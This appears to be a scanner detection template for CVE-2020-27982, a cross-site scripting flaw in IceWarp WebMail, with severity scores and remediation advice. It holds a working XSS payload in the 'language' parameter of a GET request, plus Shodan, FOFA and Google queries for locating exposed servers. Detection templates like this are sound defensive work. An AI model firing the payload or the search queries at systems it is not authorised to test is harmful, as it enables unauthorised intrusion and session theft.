CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
84.6%
IceWarp WebMail 11.4.5.0 is vulnerable to cross-site scripting via the language parameter.
id: CVE-2020-27982
info:
name: IceWarp WebMail 11.4.5.0 - Cross-Site Scripting
author: madrobot
severity: medium
description: IceWarp WebMail 11.4.5.0 is vulnerable to cross-site scripting via the language parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
reference:
- https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html
- https://cxsecurity.com/issue/WLB-2020100161
- https://nvd.nist.gov/vuln/detail/CVE-2020-27982
- http://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-27982
cwe-id: CWE-79
epss-score: 0.00252
epss-percentile: 0.65095
cpe: cpe:2.3:a:icewarp:mail_server:11.4.5:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: icewarp
product: mail_server
shodan-query:
- title:"icewarp"
- http.title:"icewarp server administration"
- http.title:"icewarp"
- cpe:"cpe:2.3:a:icewarp:mail_server"
fofa-query:
- title="icewarp server administration"
- title="icewarp"
google-query:
- intitle:"icewarp server administration"
- intitle:"icewarp"
- powered by icewarp 10.4.4
tags: cve,cve2020,xss,icewarp,packetstorm
http:
- method: GET
path:
- "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src=x onerror=alert(1)>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100c46540c9957d1011ea21e3effa33c8b04d5392de89222bed44ab49f4c04edd41022100aa540980b37ae1b1b487be1f61abc608e5b9b561f97f4241fb778f4fd3821090:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
84.6%